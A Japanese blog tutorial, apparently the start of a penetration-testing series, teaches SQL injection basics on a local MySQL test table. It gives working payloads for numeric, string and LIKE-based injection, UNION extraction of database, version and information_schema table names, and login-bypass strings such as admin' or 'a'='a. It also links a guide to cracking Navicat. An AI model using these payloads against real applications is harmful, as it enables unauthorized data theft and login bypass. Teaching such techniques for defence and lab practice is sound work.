起因#
ずっと作る予定だったペネトレーション基礎チュートリアル
基本的な情報収集とペネトレーション環境構築編を紹介した後、正式に始まったと言える
長い間かかるかもしれないが、必ず更新していく
** 声明:著者の初志はネットワークセキュリティ知識の共有と普及であり、読者がこれによりネットワークセキュリティに害を及ぼす行動を取った場合、その結果は自己責任であり、著者及び本サイトとは無関係です **
SQL インジェクションの紹介#
SQL 文:SQL(Structured Query Language)、構造化クエリ言語は、リレーショナルデータベース通信の標準言語です。
クエリ:SELECT statement FROM table WHERE condition
レコード削除:DELETE FROM table WHERE condition
レコード更新:UPDATE table SET field=value WHERE condition
レコード追加:INSERT INTO table field VALUES(values)
SQL インジェクション(SQL Injection):
プログラマーがコードを書く際に、ユーザー入力データの合法性を判断せず、アプリケーションにセキュリティの脆弱性をもたらし、ユーザーがデータベースクエリコードを提出できるようにし、プログラムの返す結果に基づいて、知りたいデータを得たり、データベース操作を行ったりすることができる。
SQL インジェクション攻撃の流れ:
- 注入ポイントの判断 2. 注入ポイントのタイプの判断 3. データベースタイプの判断 4. データベースデータの取得、権限昇格
SQL インジェクション原理分析#
本チュートリアルは shack2 大佬の SQL インジェクションチュートリアルを基に書かれています
あまり覚えていないが、ノート作成日時は19-03-01
です:
しかも現在shack2
大佬のブログは閉鎖されており、github アドレスだけが残っています
大佬の多くのツールも非常に使いやすく、後で紹介しますが、本文中には大佬の環境がない部分もあります
大佬の画像を使用するしかありませんが、理解できると思います
私はここでローカルのNavicat for MySql
ツールとphpstudy
が提供するMySql
データベースを使って説明します
これらの 2 つのツールは前に紹介したもので、それぞれ
- <<Navicat ファミリープロダクトのインストールと破解>>
- <<ペネトレーション練習環境の構築(長期更新)>>
Navicat
ツールでローカルのmysql
データベースに接続した後、新しいデータベースtest
を作成します
test
の中に新しいテーブルnew
を作成します:
以下のデータを入力します:
id | title | content | type |
---|---|---|---|
1 | 私は SQL インジェクション | あなたは知っていますか? | 1 |
2 | 私は SQL インジェクションではない | あなたはまだ知らないですか? | 2 |
次に、クエリツールを使って以下の文を実行し、一行を挿入します:
INSERT INTO test.new VALUES(3,'test','test',3)
実行をクリックし、new テーブルを更新すると、データが挿入されていることがわかります:
基本的なクエリを行います:
部分データを検索するには、limit (x,y) を使用して x 番目から y 件のデータを取得できます
例えば、ここでは 0 番目から 1 件のデータを取得します(sqlserver のキーワードは top を使用):
数値型インジェクション#
id=1
をクエリします:
id=1 AND 1=2
をクエリすると、データはありません:
ここまで来ると、SQL インジェクションがあることが判断できます。フィルタリングがなければ、ブラインドインジェクションが可能です。or 1=1
(常に真)を試してみましょう:
こう理解することもできます:
SELECT * FROM test.new WHERE (id=1 OR 1=1)
ブラインドインジェクションを試して、直接'
を追加します:
SQL のエラーメッセージが表示され、エラー表示インジェクションがサポートされていることを示しています
Union を使って試してみましょう、直接Union Select 1
:
エラーが出ました、列が合っていないので、order by
を使って列を判断します:
order by
を 5 に加えるとエラーが出ました(データがない可能性もあります):
このテーブルには 4 列のデータがあることを示しています。もし元のクエリ文が:
SELECT * FROM test.new WHERE id=1 AND 1=1 AND type='2'
この時、ORDER BY
を加えても問題ないかもしれません:
SELECT * FROM test.new WHERE id=1 ORDER BY 1 AND type='2'
しかし、プログラム自体がORDER BY
を持っている場合、例えば元の文が:
SELECT * FROM test.new WHERE id=1 ORDER BY id DESC
この時、1 の位置に再度ORDER BY
を挿入する必要があります:
SELECT * FROM test.new WHERE id=1 ORDER BY 1 ORDER BY id DESC
この文はエラーになります:
この時、# で後ろの文をコメントアウトできます(時には文字エンコード %23 を考慮する必要があります。URL 内で #はアンカーリンクを示し、ウェブページ内の位置に直接移動します):
SELECT * FROM test.new WHERE id=1 ORDER BY 1#23ORDER BY id DESC
次に、特定のデータベースが存在するかどうかを判断する方法について説明します。exists
関数を使用できます:
SELECT * FROM test.new WHERE id=1 AND EXISTS(SELECT 1 FROM admin)
正常に返される場合、admin
というテーブルが存在することを示しています。MYSQL
には自動的にinformation_schema
というデータベースがあります
それでは、information_schema.tables
が存在するかどうかを見て、このデータベースがMySQL
データベースかどうかを確認します:
正常に返されます。Union SELECT
を使ってどの列が表示をサポートするかを見ます(ここでは大佬のチュートリアルの画像を使用しています):
** ここでは私が使用している環境が良くないため、部分的にしか表示されませんが、実際には多くのターゲット環境が多フィールドで部分的にしか表示されないことが多いです **
この図は明らかに第 2 列が表示できることを示していますが、もし一つのクエリ結果しか表示できない場合、後の結果は見えない可能性があります
前の部分にAND 1=2
を加えて否定することで、後の一つのデータだけを表示させることができます:
SELECT * FROM test.new WHERE id=1 AND 1=2 UNION SELECT 1,2,3,4231
表示位置がわかったら、その位置で何かを行うことができます。まずはデータベースをクエリします:
SELECT * FROM test.new WHERE id=1 AND 1=2 UNION SELECT 1,DATABASE(),3,4231
次にバージョンをクエリします:
SELECT * FROM test.new WHERE id=1 AND 1=2 UNION SELECT 1,VERSION(),3,4231
バージョン番号は5.5.53
であることがわかります。次に、information_schema
データベースのすべてのテーブル名をクエリします:
SELECT * FROM test.new WHERE id=1 AND 1=2 UNION SELECT 1,table_name,3,4231 FROM information_schema.tables
遅延関数は直接 sleep (10) で行けます:
文字型インジェクション#
私たちがデフォルトでテストするアドレスは:
SELECT * FROM test.new WHERE type=2
まずAND 1=1
を試します:
次に1=2
を試します:
どちらも出力がなく、エラーもないので、どうすればいいのでしょうか?文字を分析してみましょう:元の文は:
SELECT * FROM test.new WHERE type='xxx'
今、type=2
をクエリする際にAnd 1=1
を追加する必要があります:
SELECT * FROM test.new WHERE type='2' AND 1=1'
後ろに単一引用符があるので、ここでは文字型を使って後ろの単一引用符を閉じるのが最適です:
SELECT * FROM test.new WHERE type='2' AND '1'='1'
つまり、私たちのクエリデータは:2' AND '1'='1
で、これにより2
をクエリし、AND 1=1
を追加しました:
他の部分は数値型インジェクションとほぼ同じです。例えばorder by
:
SELECT * FROM test.new WHERE type='2' ORDER BY 1
Union:
SELECT * FROM test.new WHERE type='2' UNION SELECT 1,2,3,4 FROM DUAL
検索型インジェクション#
一般的な文は次のようになります:
SELECT * FROM test.new WHERE title LIKE '%xxx%'
例えば:
プログラム自体の %' を使って前の部分を閉じ、後ろを #でコメントアウトできます:
ここでは POST 方式で提出しているため、エンコードは不要ですが、GET メソッドで提出する場合は、最初にエンコードする必要があります
したがって、クエリ文が '% xxx%' の場合、直接検索 %' and '%'=' で閉じることができます
万能パスワード#
admin' or 'a'='a
admin' or 1=1#(mysql)
admin' or 1=1--(sqlserver)
admin' or 1=1;--(sqlserver)
実際には閉じるという意味です。紹介の便宜上、test
データベースにadmin
テーブルを再作成し、データは以下の通りです:
id | username | passwd |
---|---|---|
7 | test | test |
8 | null | null |
9 | null | null |
10 | aaa | xx |
11 | aaa | xx |
12 |
この古典的なログイン文を分析します:
SELECT * FROM test.admin WHERE username='aaa' AND passwd='xx'
私たちが中間にor 'a' ='a'
を挿入する場合、次のような文が構成されます:
SELECT * FROM test.admin WHERE username='aaa' OR 'a'='a' AND passwd='xx'
成功してクエリできる場合、私たちの入力部分は:
aaa' OR 'a'='a
こうすることでusername
の前後の’を閉じることができ、任意のユーザー名のデータをクエリできます
クエリされるのはpassword
がxx
のアカウントのデータです:
しかし、これはpassword
が正しい前提の下でのことですので、できれば空にするのが良いです:
コメント符を使うこともできます:
SELECT * FROM test.admin WHERE username='xxx' OR 1=1#
これで全データをクエリできます。簡単に言えば、前のusername
を閉じて真に保ち、後ろのpassword
を #でコメントアウトすればOK
です。これが万能パスワードadmin' or 'a'='a
の由来です
したがって、万能パスワードがpassword
の部分で使用される場合、文は次のようになります:
SELECT * FROM test.admin WHERE username='adhajsdas' AND passwd='dhaisdhias' or 'a'='a'
プログラムが前の部分を一つの全体として見なすため:
SELECT * FROM test.admin WHERE (username='adhajsdas' AND password='dhaisdhias') or ('a'='a')
したがって、これは常に真ですが、ログイン部分は直接SELECT *
ではないでしょうが、すべての結果を得ることができます。
基礎原理の説明は非常に退屈ですが、後でいくつかの例や簡単な記憶法を紹介する予定ですので、ぜひご期待ください!
本文完。